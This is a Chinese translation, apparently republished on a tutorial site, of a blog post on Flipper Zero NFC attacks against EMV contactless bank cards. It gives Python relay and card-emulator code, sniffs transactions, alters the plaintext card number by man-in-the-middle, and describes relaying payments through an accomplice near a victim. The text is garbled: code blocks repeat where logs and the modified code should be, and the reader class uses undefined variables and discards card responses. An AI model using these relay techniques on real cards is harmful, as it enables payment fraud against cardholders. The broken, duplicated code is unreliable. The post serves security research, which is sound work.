在上一篇文章中,我们探讨了 Flipper 如何充当 NFC 非接触式读卡器和 NFC 卡模拟器。当我们将这两个功能结合起来时,读卡器交易的一系列潜在攻击场景就会显现出来:
在这篇文章中,我们将详细解答这三个问题。
上图(此处提供更高质量)说明了我们旨在为测试前面描述的各种攻击而建立的设置。
之前,我们将所有数据处理逻辑卸载到在 Flipper 外部运行的 Python 脚本。这种方法消除了每当我们想要进行更改时更新或上传新固件的需要。然而,出现了一个问题:这个 Python 代理会引入延迟,从而破坏通信并导致通信失败吗?
在回答这个问题之前,让我们看一下将用于设置此配置的 Python 脚本。
在上一篇博文中,我们介绍了此设置的两个主要组成部分:
现在,只需将两者连接在一起即可。我们到底在说什么?
这些对阅读器的要求导致了抽象 Reader 类的创建,如下所述。此外,我们还引入了一种与读者建立连接的方法。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
接下来,我们在下面创建一个极简的 PCSCReader 类来与 PC/SC 阅读器交互。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
现在,我们可以继续实现卡模拟器,简称Emu,如下所示。它接受一个可选的 Reader 对象作为参数。如果提供,它会与读者建立连接。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
接下来,我们定义三种方法来向阅读器传达事件:关闭字段、打开字段以及发送 APDU。
# class Emu(Iso14443ASession): def field_off(self): print("field off") if self.reader: self.reader.field_off() def field_on(self): print("field on") if self.reader: self.reader.field_on() def process_apdu(self, apdu): if self.reader: return self.reader.process_apdu(apdu) else: self.process_function(apdu)
接下来,我们改进了负责在 TPDU 级别管理卡模拟器命令通信的方法。值得注意的是,当收到完整的 APDU 命令时,将调用 process_apdu 方法将其转发给读卡器并从实际卡中检索响应。
# class Emu(Iso14443ASession): def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]: print("r block") if tpdu == "BA00BED9": rtpdu, crc = "BA00", True elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]: if len(self.iblock_resp_lst): rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True else: rtpdu = self.build_rblock(ack=True).hex() crc = True return rtpdu, crc def low_level_dispatcher(self): capdu = bytes() ats_sent = False iblock_resp_lst = [] while 1: r = fz.emu_get_cmd() rtpdu = None print(f"tpdu < {r}") if r == "off": self.field_off() elif r == "on": self.field_on() ats_sent = False else: tpdu = Tpdu(bytes.fromhex(r)) if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False): rtpdu, crc = "0A788082022063CBA3A0", True ats_sent = True elif tpdu.r: rtpdu, crc = self.rblock_process(tpdu) elif tpdu.s: print("s block") # Deselect if len(tpdu._inf_field) == 0: rtpdu, crc = "C2E0B4", False # Otherwise, it is a WTX elif tpdu.i: print("i block") capdu += tpdu.inf if tpdu.is_chaining() is False: rapdu = self.process_function(capdu) capdu = bytes() self.iblock_resp_lst = self.chaining_iblock(data=rapdu) rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True print(f">>> rtdpu {rtpdu}\n") fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
最后,我们实现了用于从 Flipper Zero 启动卡模拟的方法。
# class Emu(Iso14443ASession): def run(self): self.drv.start_emulation() print("...go!") self.low_level_dispatcher()
Python 脚本已准备就绪;现在让我们看一下用于测试它们的硬件设置。
下面是我们对攻击环境的小型复制。从左到右,我们有:
完美,我们现在拥有执行攻击所需的所有组件!来战斗吧!
我们可以首先尝试嗅探,这意味着来自 Flipper 的 APDU 命令/响应将被转发到卡,而不进行任何修改。
这工作完美并且保持稳定,Python 代码充当中介,没有明显的影响!如果 Python 代理增加了太多延迟并且终端开始抱怨卡太慢,我们已经解决了这个问题。我还没有时间实施的东西:
以下是日志的摘录。
class Reader(): def __init__(self): pass def connect(self): pass def field_off(self): pass def field_on(self): pass def process_apdu(self, data: bytes) -> bytes: pass
事实上,一张卡上可以安装数百个不同的应用程序,每个应用程序都有自己独特的 AID。终端不会尝试一一尝试它们。这就是为什么在非接触式银行领域中,所有卡上都有一个特定的应用程序,旨在指示卡上可用的银行应用程序。其 AID 为 325041592e5359532e4444463031,转换为 ASCII 为 2PAY.SYS.DDF01。
在稍后的通信中,我们可以看到这个应用程序被调用(如下图)。因此,如前所述,之前选择的 AID D2760000850101 的应用程序似乎不寻常。
class PCSCReader(Reader): def __init__(self): pass def connect(self): available_readers = readers() if len(available_readers) == 0: print("No card reader avaible.") sys.exit(1) # We use the first detected reader reader = available_readers[0] print(f"Reader detected : {reader}") # Se connecter à la carte self.connection = reader.createConnection() self.connection.connect() def process_apdu(self, data: bytes) -> bytes: print(f"apdu cmd: {data.hex()}") self.connection.transmit(list(data)) resp = bytes(data + [sw1, sw2]) print(f"apdu resp: {resp.hex()}") return resp
解析响应时,您可以看到它表明(以及其他详细信息)存在 AID A0000000041010 的应用程序,该应用程序对应于 MasterCard。
因此,手机最终选择了这个应用程序。
随后,它会从卡中检索各种详细信息,包括主帐号 (PAN)。卡上显示的数字与终端上显示的数字相符,确认我们依靠简单嗅探的中继攻击成功了!
当然,像 Proxmark 这样的工具可以使嗅探变得更加简单,但是当你可以让它变得复杂时,为什么还要让它变得简单;) ?
现在,让我们继续进行中间人攻击。这意味着我们不仅会倾听沟通,还会积极改变它。一个有趣的用例可能是修改卡号,例如将 5132 更改为 6132。
回顾我们之前通信的日志,我们可以看到这些数据都是以明文形式传输的。使用 READ RECORD 命令(如 00B2010C00 和 00B2011400)从卡中检索它们。
由于数据未加密且缺乏完整性保护,我们可以根据需要对其进行修改。为了实现这一点,我们只需更新 PCSCReader 类中的 process_apdu 方法来处理更改。
class Emu(Iso14443ASession): def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None): Iso14443ASession.__init__(self, cid, nad, drv, block_size) self._addCID = False self.drv = self._drv self.process_function = process_function self._pcb_block_number: int = 1 # Set to one for an ICC self._iblock_pcb_number = 1 self.iblock_resp_lst = [] self.reader = reader if self.reader: self.reader.connect()
并且如下图所示,应用程序完全不知道修改!
为什么它有效?答案如下图所示,描述了不同的通信层:
我们也可以玩得开心……由于修改仓促,所以偶尔会随机更改数据。在一个实例中,如下图所示,这导致应用程序显示卡号的大量字符,即使它应该限制为 16 位数字!
这为模糊实验开辟了一些有趣的可能性。
正如本文开头提到的,中继攻击包括拦截并中继两方(例如 NFC 卡和终端)之间的通信而不对其进行更改,欺骗终端相信它正在与合法的设备进行通信实时打卡。
黑客想要在终端上付款。他将终端的通信转发给受害者附近的同伙,然后同伙在他不知情的情况下与受害者的卡进行通信。
之前的实验证明这种攻击在受控环境中是可行的,比如车库。然而,在现实场景中,还需要考虑其他挑战。
针对中继攻击的主要对策之一是测量通信的时间,因为中继会引入明显的延迟。然而,较旧的 EMV 协议不包含促进此类时序检查的命令。
我们已经到达这篇博文的结尾了。我希望您喜欢这些内容! Python 代码和修改后的 Flipper Zero 固件可以在我的 GitHub 上找到。
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
以上是Flipper Zero NFC 黑客攻击 - EMV 银行、中间人和中继攻击的详细内容。更多信息请关注PHP中文网其他相关文章!